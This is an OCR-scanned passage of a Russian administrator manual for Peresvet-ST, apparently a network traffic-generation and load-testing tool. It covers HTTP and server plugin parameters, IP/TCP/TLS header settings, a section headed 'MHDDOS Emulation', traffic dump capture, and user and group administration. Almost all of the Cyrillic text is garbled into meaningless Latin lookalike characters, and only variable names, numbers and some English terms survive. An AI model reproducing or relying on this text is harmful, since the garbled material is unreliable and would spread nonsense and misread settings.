o  ${strMinMax(min_length,max_length)}
- DopmupyeT NPOU3BOJIEHYIO
KOMOWHAIMIO CHMBOJIOB C JUIMHOW B
YKa3aHHBIX npenenax (mpumep:
${strMinMax(16,24)})

o  ${hex(length)} - Dopmupyer
NPOU3BOJIHYKO KOMOWHAIMIO CHMBOJIOB
3aIaHHOM [UTHHBI B IIECTHAALATEPHIHOM
dopmare (mpumep: ${hex(16)})

o  ${hexMinMax(min_length,max_length)}
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YKa3aHHBIX npeaenax
${hexMinMax(16,24)})

${email} - ®opmupyeT BamMaHEIH email
CO CIIy4yaifHbIM HMEHEM MOJIb30BaTeNs U
JIOMEHOM

(mpumep:

${login} - ®opmupyeT BaNUAHBINA JOTHH
TI0JTB30BATEIIS

${password}- dopmupyer BanUAHBIHA
[apoJib MMOJIB30BATENS

k) IlapameTpsl ceccuu - mapameTpsl, Kacarolluecs YINpaBICHUs CECCUSIMH B paMKax

TEKVILEro IIaruHa, OIMcaHue KOTOPBIX yKa3aHo B Taoi. 134;
b

Ta6a. 134 — [Mapamertpsl «[lapameTpbl ceccum»

Ha3zBanmue Onucanue 3HayeHne
Ob6mee MakcruManbHOe KOJIMYECTBO OJHOBPEMEHHO | 3a/laifTe YMCIIOBOE 3HAUCHUE
KOJIMYECTBO aKTUBHBIX CECCHH, KOTOpbIE MOIYT OBITh | 3pavenne mo ymomuaHmio: «10x»
ceccui YCTaHOBJICHBI B PaMKax IIarHHA.

Tanm-ayT Bpems B cexyHmax, B TedeHHE KOTOPOTo | 3amaiiTe 4MCIOBOE 3HAUCHUE
MOBTOPHOI'O [lepecer-CT Oyzmer TBITATBCS | 3HayeHHe M0 yMOTYaHHIO: «O»
MOAKITIOUEHUS BOCCTAHOBUTH COCAMHEHHE TIIOCIE €ro

paspeiBa. Ecmm coeamHenume He Oyzmer
BOCCTAaHOBICHO B YyKa3aHHBIA IIEPHOL,
ceccust OyAeT 3aKphITa.

Ilonkmrouenuii B
CEeKYHIY

MakcumanabHOE KOJIUYECTBO HOBBIX CECCHH,
KOTOpBIE MOTYT ObITh YCTAHOBJICHBI 32 OJHY
CEeKYyHIY.

3agaiiTe YUCIOBOE 3HAUEHUE
3HauCHHE TI0 YMOJTYAHUIO: «1»

Makc. cTpumoB
(Ha ceccuio)

MaxkcuManpHOE ~ KOINHUYECTBO  ITOTOKOB
JaHHBIX, KOTOPbIE MOTYT OBITh AKTHBHLI B
OJIHOH ceccuu.

[Tapametp JIOCTYTIEH TOJIBKO npu
BriroueHnu H2 B «Ilapamerpax HTTP».

3ajaiiTe YUCIOBOE 3HAUECHUE
3HaueHue Mo yMoIyaHuo: «20»

Tym6nep  «be3 | MakcuManbHas MPOU3BOAUTENHHOCTh 0€3 | BKIFOYHTH/BBIKIIOYHTS

OTPaHUIECHUS» OTPAaHUYCHUH HA KOJI-BO OTHPABISCMBIX | [0 yMOTYaHHMIO, TyMOJIEp BKIIOUEH.
3alpOCOB B CEKYHIY

3ampocoB B | MakcuMaJlbHOE  KOJIMYECTBO  3aIlpoCoB, | 3ajaiiTe YUCIOBOE 3HAYCHUE

CEeKyHIy (Ha | KOTOpEIC MOTyT OBITH 00pabOTaHBl B | [[0 YMONYAHHIO BHICTABICHO 3HAUYCHHE:

CECCHIO) CEeKYH]y JJIsl OTHOM Ceccuu/cTpuma. 10.

WurepBan mexay
OTIPaBKOMH
3arpocoB

Onnusa mMo3BOISIET HACTPOUTH  3aAEPIKKY
MEXAYy OTIPaBKOM 3aJaHHOIO  KOJI-Ba
3aMpoCOB B CEKYHIY.

3aj1aiiTe YMCI0BOE 3HAUCHUE
3HaueHue o ymMoa4aHuio: «0»

[Tocne BKIIFOYEHHS TOATUIATUHOB HEOOXOIWMO YyKa3aTh JUIMTEIBHOCTh pabOTHl IUIaruHa

MHDDOS Emulation

I[J'II/ITCJ'ILHOCTB - IapamMceTp, OTBEUAIONIUN 3a BpeMA pa6OTBI IJ1aruHa, OMUCaHUC KOTOPOro

yka3aHo B Tabn. 135.
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Ta6a. 135 — I[Mapamerp «IIUTEJIBbHOCTH»

Hassanue Onucanne 3HauyeHue
JmTensHOCTh Bpewms reaepannu Tpaduka 3amaiiTe YUCIOBOE 3HAYCHHE W BHIOEpETE
TeHepaIuu BeNWYMHY (B CEKyHIaX, MHUHYTax WIH
yacax)

5.3.2 HacTtpouka nnaruHa cepBepHomn KOHduUrypaumm

[Inarua cepBepHON KOH(MUTYpallud — MHCTPYMEHT, TNpEAHA3HAYCHHBI I BBIOOpa

OTpeeIEHHOr0 MPUHUMAEeMOro Tpaduxka.

5.3.2.1HTTP

HTTP — mmarus a71s nmosry4eHus pa3ingHoro BeO-Tpaduka.
JIaHHBIIA TUTATHH COCTOUT M3 CICAYIOIIUX MapaMeTPOB:

a) VCTOYHMKM — COBOKYIMHOCTb W3 BBIOpaHHOrO areHTa, uHTepdeiicoB u MAC-
aJIpecoB C KOTOPBIX areHT OyAeT NPUHUMATh U OTHPaBIATH Tpaduk. OnrcaHue nmapaMeTpoB

yka3ansl B Tabn. 136;

Ta6ua. 136 — [apamerpbl «UcTOUHHKI

HaszBanmue Onucanmue 3HaueHune

ATEHT ATreHT, C KOTOpOro OyneT OTHpaBiAThCA | BriOepere areHT U3 CIIMCKa areHTOB

TpapUK M C KOTOpHIM OyneT NpUHUMAThH

Tpaduk.
CeTeroii CereBoii mHTepdelic arenra, ¢ koroporo | Beibepere uHTEpdEiic H3 CIIMCKa
nnrepetic Oyzer OTIpaBIATHCS TpaQUK U C KOTOPHIA | HHTEp(EicoB

OyneT npuHUMaTh Tpaduk
CeTb Bribpannsie 06bekT «Cetn» (cM. 3arosioBok | Beibepere o00BexT «CeTu» M3 CHHCKa

5.2.2.1 win 5.2.2.2) mapamerpbl KOTOPOro | 00BEKTOB. 3amaiiTe Bec (10 YMOIYAHHUIO, BEC
OyIyT UCIONB30BaThCA JJsl  OTIPABKU | pacrpelesisieT PaBHOMEPHO MAaKeThl MEXIy
Tpaduka. Ecnm BeiOpaHo Oomee omHOTO | OOBekTamu «CeTm»)

00BEKTa, MOXKHO M3MEHUTD HAPAMETP «BECH,
OTBEYAIOIINH 3a 0aaHCHPOBKY
pacnpeseneHus MIaKeTOB MEXIY

BBIOpaHHBIMU 00BekTaMu «CeTm».

0) IP 3aronoBok (L3) — mapamerpsr HacTpoek IP 3aromoBkoB Ha yposue L3 TPC/IP,

oInMcaHue KOTOPbIX yKka3aHbl B Tabn. 137;
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Ta6a. 137 — Iapamerpsl «IP 3aronosox (L3)»

Service)

KOTOPOE HCHONB3YETCSl Ul ONpEeNICHHS

npuoputera 1 00paboTku Tpaduka

HasBanue Onucanne 3HauyeHue
TTL (Time to | [Tapamerp TTL ompenensieT MakcuManbHOe | 3agaiite 4HCIOBOE 3Ha4YeHue (o
Live) KOJIMYECTBO ~ MAapUIIPYTH3aTOPOB  (XOMOB), | yMomyanutoo, 3HaueHme TTL  saBusercs:
gepe3 KOTOpBIE MOXET TMpOWTH Taker | «128»)
JTAaHHBIX, PEXIE 9YeM OH OyAeT OTOPOIICH.
ToS (Type of | DSCP — »st0 mosne B 3aronoske IP-makera, | 3amaiiTe YHCIIOBOE 3HAYCHUE (o

ymorgaanio, 3Hauenne DSCP spnsercs: «7»)

ECN — 510 MexaHM3M, KOTOPBIH MO3BOJNISET

B1>16epeTe 3HA4YCHUC U3 CIIMCKA:

MapuipyTu3aTopaM yBEJOMISTH Y3IBl O

neperpyskax B ceTu 0e3 coOpoca IakeToB.

00 (Non-ECT)

01 (ECT(2))

10 (ECT(0))

11 (CE (Congestion Experienced))

B) TCP 3aronoBok (L4) — mapametpsl HacTpoek |P 3aronoskos Ha yposue L4 TPC/IP,

OIMcaHue KOTOPBIX yKa3aHbl B Tabn. 138;

Ta6a. 138 — IMapamerpsnl «TCP 3aronoBok (L4)»

00BeM JaHHBIX, KOTOPBIA MOXET
ObiTh TepenaH B omxHom TCP-

CEIMCHTC

HaszBanue Onucanne 3HaueHne
Max. Segment Size | MakcuManbpHBIN pa3Mep cerMeHTa | 3ajaiiTe 4HciIoBOe 3HaueHue (1o
(MakcumanbHbii pasmep OIIpeNeNsieT MaKCUMaJbHBIM | yMOJlYaHUIO,  3HaueHue  Max.
CErMeHTa)

Segment Size siBsiercst: «1460»)

WS (IP Options)

[Tapamerp WS (Window Scale)
OTHOCHUTCHA K MEXaHU3MY
MmacmtabupoBanusi okHa TCP,
KOTOPBIH TO3BOJISIET  YBEIIMYUTH
pasMep OKHa Jisi yNpaBJICHUS
MTOTOKOM JaHHBIX.

3anaiite unciaoBoe 3HadeHHE (T10
YMOTYaHHIO, 3Ha4YeHUE WS
ABTIETCA: «64»)

Window Size (Pa3mep okHa)

Pasmep okna TCP omnpegpenser
00BEM JaHHBIX, KOTOPBIH MOXET
OBITH OTHpaBlieH 0e3 OXUIaHH
TTOJITBEPKICHUS OT MOTydaTes.

3amaiiTe YucaOBOe 3Ha4YeHHE (IO
yMoJl4aHuo, 3HaueHue Window
Size sBsieTcs: «256»)

r) Ilapamerpst HTTP - mapamerpst HacTpoek HTTP 3aronoBkoB Ha ypoBHe L6-L7

TPC/IP, onrcanue KOTOpBIX yKa3zaHo B Ta6m. 139;

Ta6a. 139 — [Mapamerpsl «I[lapamerpst HTTP»

HasBanue Onucanue 3Hauenue
HTTPs Yka3bIBaer, HCTIONB3YeTCs mu | [Ja / Her (ykaxure TeKymiee COCTOSHHE
3alIMIICHHBIA ~ TIPOTOKOJ  MepeAayd | MepekiodareieM TyMOiiepa, eclid  BBIOpaH
nanaeix HTTPS
Jluem
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BapuanT "/la", To 3amomHuTEe mapamerpsl TLS,
cormacuo Ta6n. 140)

Bepcus VkazeiBaer Bepcuto npotokosna HTTP, | Beibepure 3nauenne HTTP 1.1 uau HTTP 2.0
HTTP UCTIONB3YEMYIO JUIS IIepelaul JaHHBIX.

HTTP meton | Meton, wucnonb3yemblii Juisi oTBeTa | BriGepute U3 cleqyromero Crucka:

areHTa Ha I10JyJaeMble 3aIPOCEHL. e GET
e POST
e PUT
e PATCH
e DELETE

Temo 3ammpoca | Yacte HTTP-3ampoca, comeprxamas | 3alONHATE TIOJIE «TEJNO 3ampocay CIEIYIOIINM
JaHHBIE, KOTOpBIE CEepBEp OTIPABIACT | OOpa3oM:

Ha TIONly4aeMbIil 3ampoc (Hampumep, e  Bsemure cBoe 3HAUCHHE
dhopmy mu JSON). [TapameTp noctyrieH Y
) str(length)} - dopmupyer
eCHHPZI;gIEHH metomer: POST, PUT MPOU3BOJIBHYI0 KOMOUHAIIMIO CHMBOJIOB
i 3amanHoM JmuHB (pumep: ${str(16)})
e ${strMinMax(min_length,max_length)}
- Dopmupyer MIPOU3BOJIBLHYIO
KOMOMHAIIMIO CHUMBOJIOB C JUIMHOH B

YKa3aHHbBIX npenaenax (mpumep:
${strMinMax(16,24)})

e ${hex(length)} - dopmupyer
[POM3BOJIBHYI0 KOMOWHAIIMIO CHMBOJIOB
3aJaHHOY [UTMHBI B IIECTHAILATCPHIHOM
dopmare (pumep: ${hex(16)})

e  ${hexMinMax(min_length,max_length)}
- Dopmupyer HPOHU3BOJIBHYIO
KOMOHHALIHIO CHMBOJIOB B
MIECTHAIIATePHIHOM dbopmare B

YKa3aHHbIX npenaenax (mpumep:
${hexMinMax(16,24)})

o ${email} - ®opmupyer BamuIHBIH email
CO CITyYaifHBIM MMEHEM IOJIb30BaTeNs U
JOMEHOM

o ${login} - ®opmupyeT BaIHAHBIN JOTHH
HOJIb30BATEIISI

o ${password}- @opmMupyer BaaMIAHBIA
[apoJIb MMOJIB30BATEIS

3aroJyoBKH JononHuTensHbIe MeTaJlaHHble, | BBeiuTe 3HaueHHE MOCIHE HAKATHS —KHOIKHU

ormpaBnsiemele  BMecte ¢ HTTP- | «/lob6aBuTh mapaMeTph»:

3aIIpOCOM. e Bgaeaure cBOE 3HAUCHHE

o  ${str(length)} - dopmupyeT
MPOM3BOJIbHYI0 KOMOWHAILIMIO CHMBOJIOB
3amansoi aumHel (mpumep: ${str(16)})

e ${strMinMax(min_length,max_length)}
- dopmupyer MPOU3BOJILHYIO
KOMOMHAIIMIO CHUMBOJIOB C JUIMHOM B
YKa3aHHbBIX npeaenax (mpumep:
${strMinMax(16,24)})

o  ${hex(length)} - Dopmupyer
MPOM3BOJIbHYI0 KOMOWHAIIMIO CHMBOJIOB
3aJaHHOM JUIMHBI B IECTHAIIATEPHIHOM
dopmare (npumep: ${hex(16)})

o  ${hexMinMax(min_length,max_length)}
- Dopmupyer POM3BOJILHYIO
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KOMOWHALIHIO CHMBOJIOB B
[IECTHAIATEPHIHOM dhopmare B
YKa3aHHbBIX npeaenax (npumep:

${hexMinMax(16,24)})

o ${email} - ®opmupyer BamHIHBINA email

CO CIy4allHBIM MMEHEM IOJb30BATEN H
JIOMEHOM

o ${login} - ®opmupyeT BaNUAHBIA JOTHH

IIOJIB30BATCIIA

o ${password}- dopmupyer BaNHUAHBIH

IIapoJib IMOJIB30BATEIIA

Taoa. 140 — [Mapamerps! «[lapamerpsr TLS»

HasBanmue

Onucanue

3HaueHne

Bepcusa TLS

Bepcus TLS (Transport Layer Security)
ompezeiseT  NPOTOKoN  mudpoBaHus,
UCIIOJIb3YEMBIi ULt obecrieueHus
Oe3omacHOl Tmepenauyd JaHHBIX  MEXKAY
kaueHToM u - cepsepom  (ITapamerp
nmocrytieH, eciu mapametp HTTPs BriroueH)

Bribepure 3nagenne TLS v1.2 mimm TLS
v1.3

SSL-ceprudukar

Bribop SSL-cepTudukara, CIoIb3yeMoro
s YCTaHOBJICHUS TLS-coenuneHust
(ceptudukar ceprepa)

Bribepure 3Ha4UeHNE

SSL mudpsr

CIHCOK/HA0bOP KpHUIITOrpaduuecKux
HabopoB (cipher suites), KoTopwie cepBep
Oyner npeyiarats/IpHHAMATh npH
PYKOIOXXaTUH

Bribepure 3HaueHue

n) Ilapamerpsl ceccuu - mapameTpsl, KacarolMecs YIpaBICHUs CECCUSIMU B paMKax

TEKYIIEro MjaruHa, ornucaHue KOTOpbIX yka3aHo B Taon. 141,

Ta6a. 141 — [Mapamerpsol «IlapameTpsl ceccum»

HasBanmue

Onucanmne

3HaueHnune

Taiim-ayT ceccuit

MaxkcumanbHOe BpeMsl, B TEYEHHE KOTOPOTo
ceccusi MeXAy KIUEHTOM U CEpPBEPOM
CUMTAETCS aKTUBHOMN M NEHCTBUTEILHOM 0€3
HEOOXOAUMOCTH €€ OOHOBJIEHUS WU
MOBTOPHOT'O YCTAHOBJICHMSI.

3ajaiiTe YMCIOBOE 3HAYCHUE M BHIOEpUTE
BENMYMHY (B CEKyHJaX, MHHYTax WIH
yacax)

e) I[J'II/ITCJ'ILHOCTB - mapameTp, OTBEYAIONIUM 3a BpeMA pa6OTLI IjiaruHa, OnucCaHuc

KOTOpOro ykazaHo B Tabn. 142.

Ta6n. 142 — [Mapamerp «/IMUTEIBLHOCTH»

HazBanmue

Onucanmne

3uauenue

JImATeIbHOCTD
npuéma Tpaduka

Bpems B TeueHHHM KOTOpOTO areHT OyneT
NPUHAMATh BXOASAMINN TpaduK M OTBEYAThH
Ha HETO

3amaiiTe YUCIOBOE 3HAYCHHE W BHIOECpPUTE
BEIMYUHY (B CEKyHIaX, MUHYTaX WA
gacax)
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5.3.3 BzaumogencTBme co cxeMoun npu KOHduUrypaumm 3agaHus

[Tocne noOaBneHuUsl MIarMHOB B KIMEHTCKOM WJIW/M CepBEpHON KOHQUIypaluu cxema ¢

ONMCAaHUEM IIarMHA KJIMEHTCKOW 4acTu U HamlpaBieHUEeM Tpaduka B CTOPOHY BbIOpaHHOI nenu. [lpu
Ha)KaTUX Ha OJIOK TUTaruHa B 33JJaHUH, OTKPBIBACTCS PEIaKTHPOBAHUE BEHIOPAHHOTO TJIArMHA, TAK)KE KaK

N OTKPLIBACTCA PCAAKTUPOBAHUC CITMCKC KIIMCHTCKUX U CCPBCPHBIX IUIArMHOB IIPH HAKATUH HA KHOIIKY

[Tpumep cxemsl mpuBeaeH Ha Puc. 8.

1. HTTP 2.HTTP

LnwTenbuocTs: 100c TLS: v1.3 Metop: GET Anwmrensxocts: 100c Taitm-ayT ceccuit: 100c
HTTP: HZ  Ceccw: 10 RPS: 10 CPS:1 TLS: v1.2 || Merog: GET | HTTP: 1.1

MCTOYHUKK WCTOYHUKH

2

Puc. 8 — IMonryyenHas cxemMa nmocJjie KOHPUTypaHu KJIHEHTCKOT0 M CEPBEPHOTO IJIATMHOB

5.3.4 HacTtpouka «damnbl Tpacumka»

Bxmangka "lamnbel Tpaduka" B BeG-uHTEpdelice MO3BOISET BKIIOYATh 3allMCh BXOJSIIETO U

HCXOaAICTO Tpa(l)I/IKa B Q)opMaTe pcap, a TaKXKE 3allpallliBaATb 9THU 3alIMCH C aICHTA KaK 10 3aBCPIICHUS,

TaK " IOCJIC 3aBCPIICHUA 3aJa1UH 110 TCHEpAllUA Tpa(bHKa.

5.3.4.1 BknroyeHue 3anucu mpaguka

Jlns mpocMoTpa 3alucH OTIpaBlieHHOro M npuHsToro tpaguka Ilepecser-CT HeoOxoanmo

BKJIIOYHUTH 3aIIMCh JaMIIOB Tpa(i)I/IKa.

Jlns1 TOTO HEOOXO0IMMO:

1)
2)
3)
4)

[Monkmountscs k BeO-uHTEpdeiicy IlepecBer-CT.

[lepeiiTu B pa3znen 3agauu
BriOpatb 3a7auy, o KOTOpoil He0OXOAMMO coOpaTh 3amuch Tpaduka.

[lepeiiTu B HACTPOMKHM BKIIIOYEHHMSI 3alMCH TpaduKa, HaXKaB Ha KHOIKY «Jlammbl Tpadukay

(cMm. Puc. 9)
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KoHpurypauus

Puc. 9 — Knonka «/lamnsl Tpaduxa»

5) Tlepexmounte TymMOIep «3aMUCh AaMIIOB Tpaduka»

6) 3anoxHUTE MoJE «3HAYCHUEH

7) BsiOepere BETMUUHY U3 CIHCKA:

a. Bytes — B GaliTax

b. KB — B kunobaiirax
c. MB - B merobaiitax
d. GB — B ruro6aiirax.

8) Jlanee HEOOXOIUMO MEPEHTH B HACTPOWKH BBIOPAHHOM 3a/1a41 M 3alTyCTHTh 3a/1a9y

9) [lamee mepeiTH HACTPOMKH BKIIIOYEHHS 3amucH Tpaduka, HakaB Ha KHOMKY «Jlamrbi
Tpapuka»

10) B oxHe «/lammbl Tpadukay MPUCYTCTBYET TAOJHUIA C CICIAHHBIMU 3amucsiMu Tpaduka.
CrpaBa oT BBIOpaHHOI 3aliCcH HAXKMHTE KHOTIKY «CKauaTh» U JOKAUTECh 3arpy3KH 3aMUCH
Tpaduxka.

B oroit Tabnune oroOpaxkaroTcs Jamibl, COOpaHHBIE B TIIPOIIECCE BBHITIOJHEHMS JTAaHHOMN

3amaun. [IJig X MOsIBJIEHUS U BO3MOXXHOCTU CKauMBaHUSA JI0JKHA OBITh aKTUBUPOBAHA OMIIHS

3anucu. CHUMKH MONaaaoT B Ta0IuUIy B CJIEIYIOIIUX CITyqasx:
» Korna 3agaua 3aBepiiaercs (HEBa)XHO, aBTOMATHUECKHU WU BbI CIIENAU 3TO BPYUYHYIO).
* Ecniu BO BpeMsi BBINIOJIHEHM S 33]]a4M 3alIPOCUIIM JaMIl C KAKOTr0-TO KOHKPETHOI'O areHTa

J171s1 TOBTOPHOTO 3ampoca 3amucH (aiyioB ¢ areHTa He0OXOAMMO HaXaTh KHOMKY «OOHOBHUTH

CIHCOK (ailyioBy.
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5.3.4.2 3anpoc 3anucu mpaguka

B IIpOLECCE BBIIIOJHCHHA 3aJa4d Bbl MOXXCTE 3allpOCHUTH JaMIl 'y arcHra. Ilocme OTIIPABKH

3arpoca Ha IIOJIY4YCHHE OaMIia, (1)3171.]1 INOSABHUTCA Ha KOHTPOJIICPCE. HpI/I 3aBCPIICHUN 3aJadd, JaMIIbI

ABTOMATHYCCKU 3arpyKar0TCs Ha KOHTPOJUICP U JOCTYIIHBI AJId CKaUWMBaHUA.

Jist TOTrO0 HEOOXOIUMO:

1)
2)
3)
4)

5)
6)

7)
8)
9)

[Monxmountscs k BeO-unTepdeiicy Ilepecrer-CT.

[Tepeiitu B paznen 3agaum

BriOpats 3a7auy, o KOTOpoil He0OOXOAMMO cOOpaTh 3aMmuch Tpaduka.

[lepeiiTi B HACTPONKM BKIIFOUEHUS 3anKCcH TpaduKa, HaKaB Ha KHONKY «/lammbl Tpaduka
(cm. [14.3.2.1), ydeaurcs, 4To 3amuch AaMIIOB Tpaduka BKIIOYCHA.

Jlanee HEOOXOAUMO BEPHYTHCS B 33J]a4y U BKIIIOUMTB €€.

Jlanee BEpHYTbCS B HACTPOMKHU BKJIIOUSHHS 3aIUCH TpaduKa, HAKaB HA KHONKY «/lamrib
Tpaduka»

B oxne «/lamnbl Tpaduka» HakaTh Ha KHOIKY «3aJIeliCTBOBAaHHbBIE ar€HThD)

Jlanee, B CTpoKe HEOOXOAUMOT0 areHTa HAXMHUTE Ha KHOMKY «3alpoCUTh 1aMIl»

Jlanee He0OX0AMMO HaXaTh Ha KHONKY «O030p ¢aiinosy»

Baxkno: nporiecc 3anpoca qamia Tpaduka ¢ areHTa Ha KOHTPOJLJISp 3aHUMAeT HEKOTOPOE BpeMsi

B 3aBUCUMOCTH OT Harpy3K BHYTPH 3a/laud U 00bEMa 1amna Tpaduka.

10) [Tanee He0OX0AUMO HaXaTh Ha KHOMKY «OOHOBUTH CIUCOK (ailioBy

11) B okHe «/lammbl Tpadukay MPHCYTCTBYET TAOJHUIA C CICIAHHBIMU 3amucsiMH Tpaduka.

CnpaBa OT TIOSIBUBIICHCS 3allCH HaKMUTE KHOIIKY «Ckayatb» U JOXKINUTCCh 3arpy3Ku

3anucH Tpaduka.

5.4 Hacmpouka «lMonb3o08amesiu u 2pynnbi»

Bxknanka "Tlons3oBarenn u rpynmnbl" B BeO-uHTepdeiice Mo3BoJseT yn00HO YNpaBiIATh

YUYCTHBIMU 3allUCAMHU: CO30aBaTb, PpCAAKTHUPOBATbh U YAAIATH MIOJIb30BaTEIICH U TpYyIIIibI, obecneunBas

3¢ (peKTHBHOE aIMUHUCTPUPOBAHKE JIOCTYIIA U POJICH B CUCTEME.

5.4.1 Hactpownka «I'pynn»

5.4.1.1 Co30aHue 2pynnbli

J1s TOro, 4ToOBI CO3aTh IPYIITY Ul [0Jb30BaTEIeH HEOOXOAUMO:

1)
2)

[Iepeiitu B paznen Iloabs3oBarean — I'pynnsi;

Jlanee Haxxats Ha KHONIKY «Co3gates ['pynmy» (puc. Puc. 10)
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lMepecBeT-CT

pynnbl

NMNOoNbL30BATEJIN

Q, Mouck

Puc. 10 — Knonka «Co3nars rpynmy»

3) B okne «HoBbli 1M0JIb30BaTEIB) 3aOIHUTH MoJie «HazBaHue rpynmb»

4) BeIOpaTh ITpaBa MMoJib30BaTEIICH IPYIIBI U3 CICAYIONIETO CIIUCKA:

JocTyn k nambopaam

Co3znanue rpymm

Y nanenue rpynn

UYrenue rpynn

PenaktupoBanue rpymnm

YreHue J10roB

UreHne HaCTPOEK

Pe,[[aKTI/IpOBaHI/Ie HaCTPOCK

Yreuue 3amau

Pe,[[aKTI/IpOBaHI/Ie 3agaq

biioxupoBka noae3oBarenen

Co3snanue noabp30BaTelen

VY najenue moab3oBarteiie

YreHune moabp3oBaTeie

Penaxtuposanue nons3oBarenei

5) Manee, ais co3aaHust TPYIIBI HEOOXOAMMO HaXaTh Ha KHONKY «[I[pUMEHUTHY.

5.4.1.2 PeGakmupoeaHue 2pynnbi

Jlnist TOro, YTOOBI peAaKTUPOBATH TPYIITY JAJIS MOJIb30BaTeNIel HEOOX0MMO:

1) Tlepeiitu B pazaen [oab3oBarenun — ['pynmnsi;

2) BsIOpaTh HYXXHYIO IPYIITY ¥ HAIIPOTUB HEE HaXKaTh Ha KHOIKY

Pykosodcmeo admHuucmpamopa s 10 Nepeceem-CT
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3) BeimonaHuTh HEOOXoAMMOE H3MeHeHHWe B mnapamerpax «Hassamme rpymmeny «lIpaBa
MI0JIb30BAaTEJICH B rPpyIMIe»

4) JManee, Uit COXpaHEHHS HACTPOCK IPYITbl HEOOXOAMMO Ha)KaTh Ha KHOMKY «[IpHMEHHUTBY.

5.4.1.3 YOoaneHue epynnbi

Jj1s TOro, 4TOOBI YAIUTh TPYIITY JUIS ITOJIb30BETENEH HEOOXOAUMO:

1) TIlepetitu B pazaen [oab3zoBarenn — ['pynmsi;

X

2) BbIOpaTh HYXXHYIO IPYIIY ¥ HAIIPOTUB HEE HAXKATh HA KHOMKY
3) [lanee, B MOSIBUBIIEMCS OKHE «Y TaJIeHHE TPYIIIBD) /IS BBIOPAHHOW TPYIIIIBI MOATBEPNTE

YAAJIICHUEC, HA)KaTUCM KHOIIKH «HOI{TBepI[I/ITI)».

5.4.2 HacTtpouka «lMonb3oBaTenen»
5.4.2.1 Co30aHue nosnb3o0eamers

J51s Toro, 4TOOBI CO3AaTh TPYIIY Ui MOJIB30BETET HEOOXOAUMO:
1) Ilepeiitu B pazaen [Moan3oBatenn — Ilosib3oBaTennu;

2) Manee Haxatb Ha kHONIKY «Co31ath [loab3oBarens» (puc. Puc. 11);

MepecBeT-CT

Monb3oBaTenu

rPyYnNnNbl

Puc. 11 — Knonka «Co3nats Iloab3o0BaTens»
3) B okne «HoBBIi MOJIb30BATEIBY 3aMOTHUT MOJIE A PEC 1. OUTHIY;
4) 3BanonHuTs M0sIe «MIMs TOIB30BATENSY,
5) BsIOpaTh COOTBETCTCBYIOLIYIO TPYIITY U3 CIIHCKA TPYIIIL;
6) Hanee, ais co3aaHust MOIB30BATENS HEOOXOIMMO HAXKATh HA KHONKY «[I[pUMEHUTH»;
7) Tlocme 310 B OKHe «JlaHHBIC JJIsi BXOHIA» IMOSBATCS Tapa JIOTHHA W TApos IS
MIPOXOKIeHUsI ayTeHTU(UKaIu B BeO-unTepdeiice;
8) Ilpu nepBoii ayTeHTU(PHUKALIUY [TOJIH30BATEIIO OY/IET MPEI0KEHO CMEHHUTH apouib (cM. I1

4.2.1.1).
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5.4.2.2 PeGakmupoeaHue nosnb3oeamerss

HJ’IH TOoro, YTOOBI PEAAKTUPOBATh AaHHBIC I10JIb30BaTECIA HeO6XOI[I/IMOI

1) Ilepeiitu B pazaen [oan3oBatrenun — Ilosib30BaTenu;

2) BpiOpaTh HYXHOTO IOJB30BATENsl M HANPOTHB HEE HAXKaTh HA KHOIKY . U B
IIOSIBUBIIIEMCS] OKHE HaXKaTh KHONKY «PexakTupoBaTh».

3) BrInoaHUTE HEOOXOIUMOE U3MEHEHHE B TIApAMETPax IMOJIb30BaTEIIs

4) Jlanmee, sl COXpaHEHUs] HACTPOCK IMOJIB30BATENsl HEOOXOJMMO HakaThb Ha KHOIKY

«IIpuMeHUTDH».

5.4.2.3 bnnokupoeka nosnb3oeameris

HJ’IH TOro, YTOOBI PEAAKTUPOBATDb JAHHBIC I10JIb30BATCIIA H606XOI[I/IMOZ

1) Ilepeiitu B pazaen Ioan3oBatenun — Ilosb30BaTenu;

2) BpiOparh HYKHOTO IMOJIB30BATEIsl M HAIPOTHB HEE HaXaTh HAa KHOIKY . U B
MOSIBUBIIIEMCS] OKHE HaXKaTh KHONKY «3a0JI0KUPOBAThH».

3) Hanee, s npuMeHeHHs OJIOKHPOBKH K MOJIB30BATEI0 HEOOXOAUMO Ha)XaTh HA KHOIKY
«I IpumMeHUTH».

4) Jlanee HAPOTHUB 3a0JOKUPOBAHHOTO MMOJIB30BATENs B cTONIOIE «CTaTyC» Y HEro H3MEHUTCS

COCTOSIHME ¢ «AKTUBHBII» Ha «3a0I0KMPOBaHHBIN

5.4.2.4 YOaneHue nosb3oeamerns

Z[J'ISI TOTO, YTOOBI YAAJIUTH ITOJIB30BATCIIA HeO6XOI[I/IMOI

1) Ilepeiitu B pazaen [Moan3oBarenun — Ilosib30BaTenu;

X

2) BLI6paTI> HYXXHOTO IMOJIb30BATCJIA U HAIIPOTUB HEC HAXKATH HAa KHOIIKY
3) [[aﬂee, B HOSIBUBILIEMCS OKHE «Y JaJ€HUE MOJIb30BaTEIIs» A BBI6paHHOFO IIOJIB30BaTCIIA

MOATBEPANTE YAAJICHUC, HAXKATUEM KHOIIKH «HOHTBepI[I/ITI))).
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6 Cxema ucnonb3oBaHus lNepeceet-CT

B manHOM pa3zzene npeacrapineHa cxema ucrnonbszoBanus [lepecser-CT (cm. Puc. 12). [lannbrii
MpPUMEp MOKA3bIBAET BO3MOXKHOCTH TECTHPOBAHUS JIOOBIX CETEBBIX YCTPOWCTB, KAaK W MPWIOKCHUIA,
crosamumu Mexay arentamu [lepecser-CT, a Takke ucnonb3oBaHue oJHOro KoHTposuiepa [lepecser-
CT nna ynpaiieHHs BHEIIHUMU W BHYyTpeHHUMU areHTamu [lepecBer-CT. AreHTbl MOT'YT BBICTYIATh

KaK B pOJIM TeHepaTopa Tpaduka, TaK U B POJIA CEpBepa, MPUHUMAIOIIECTO TpauK.

peresvet-st-controller peresvet-st-agent

T8 W] e

Firewall Firewall

iil
ISP1
> [
2|
ISP2

ﬁil
e

peresvet-st-agent peresvet-st-agent

Firewall
- CORE .
T

peresvet-st-agent
i=l
{o )

Puc. 12 — Cxema ucnosn3zoanus Ilepeceer-CT
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7 NMepeyeHb NPUHATBLIX COKpPaLLEeHUH

HTTP/HTTPS [IpoToKOJ MPUKIAAHOTO YPOBHS MEpelavu JaHHBIX
IP-anpec YHUKaNBHBIA aapec, UACHTUGUIUPYIOIINN YCTPOUCTBO B HHTEPHETE WIIN
JIOKAJIbHOW CETH
SSL Kpunrorpadudeckuii mpoToKo
BM Bupryansnas mammHa
TCP [IpoTOKOJIOM TPaHCTIOPTHOTO YPOBHS
CYB/]l Cucrema ynpasieHus 0a30i TaHHBIX
15(0) [IporpamMmMHoe obecrieueHue
